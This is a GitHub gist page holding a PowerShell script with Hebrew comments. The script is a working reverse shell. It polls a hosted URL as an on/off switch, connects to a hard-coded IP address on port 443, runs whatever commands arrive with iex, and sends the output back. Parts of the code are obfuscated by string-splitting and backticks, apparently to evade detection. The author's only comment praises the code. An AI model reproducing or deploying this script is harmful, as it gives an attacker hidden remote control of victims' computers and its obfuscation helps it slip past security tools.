Skip to content

Instantly share code, notes, and snippets.

@danielsalama2
Created May 31, 2022 17:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save danielsalama2/6316a47683f614745fcab82a0d5bdb0d to your computer and use it in GitHub Desktop.
Save danielsalama2/6316a47683f614745fcab82a0d5bdb0d to your computer and use it in GitHub Desktop.
$for = 5 # מגדיר שפור יהיה חמש בשביל שאשתמש בו בהמשך הקוד
while($running = 5) # מכניס את המערכת ללופ שיפעל כל הזמן
{
$number = (new-object Net.WebClient).DownloadString("https://arielschool1.000webhostapp.com/tata.ps1") # קורא את הערך שרשום באתר הזה, אם הערך הוא 1 - הקוד יורץ. אם הוא 2
# אז הקוד לא יורץ אבל זה יישאר בלופ וימתין שהאתר ישתנה ל1 מ-2
# יצרתי את זה בשביל שאוכל להחליט מתי הקוד יורץ ומתי לא.
if(($number) -eq 1) # אם הערך הוא אחד
{
if(($for) -eq 5) # אם פור זה חמש (והוא חמש, הגדרתי את זה לפני הלופ שימו לב) י
{
$ip = "84.108.144.19"
$port = "443"
$connect = (.("{2}{1}{0}{3}"-f 'e','ew-Obj','N','ct') ("{4}{5}{0}{3}{1}{2}{6}" -f'm.Net.S','ts.TcpCl','ien','ocke','Sy','ste','t')(${ip}, ${p`oRt})) # מתחבר אליו
$for = 6 # ואחר כך פור זה שש, כי לנסות להתחבר לפורט צריך רק פעם אחת. כי כשמתחברים המערכת נשארת מחוברת
}
try
{
$stream = $connect.GetStream()
$encoding = New-Object System.Text.AsciiEncoding
$buffer = New-Object System.Byte[] 1024
$read = $stream.Read( $buffer, 0, 1024 )
$command = ($encoding.GetString( $buffer, 0, $read ))
$output = (iex $command | Out-String)
$writer = ([text.encoding]::ASCII).GetBytes($output)
${ST`R`EaM}.("{0}{1}" -f 'W',("{0}{1}"-f 'r','ite'))."IN`VokE"(${wRiT`ER}, 0, ${wr`i`Ter}."L`E`NgtH")
$text = "command has been done"
$writer2 = ([text.encoding]::ASCII).GetBytes($text)
$stream.Write($writer2, 0, $writer2.Length)
}catch{
$for = 5 # במידה והמערכת מתנתקת, אז הפור יחזור להיות חמש ונחזור לאיף שמתחבר מחדש
}
}
if(($number) -eq 2) #אם נאמבר זה שתיים, אז המערכת תהיה בלופ שלא עושה כלום
{
}
}
@danielsalama2
Copy link
Author

יפה מאוד אחלה קוד

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment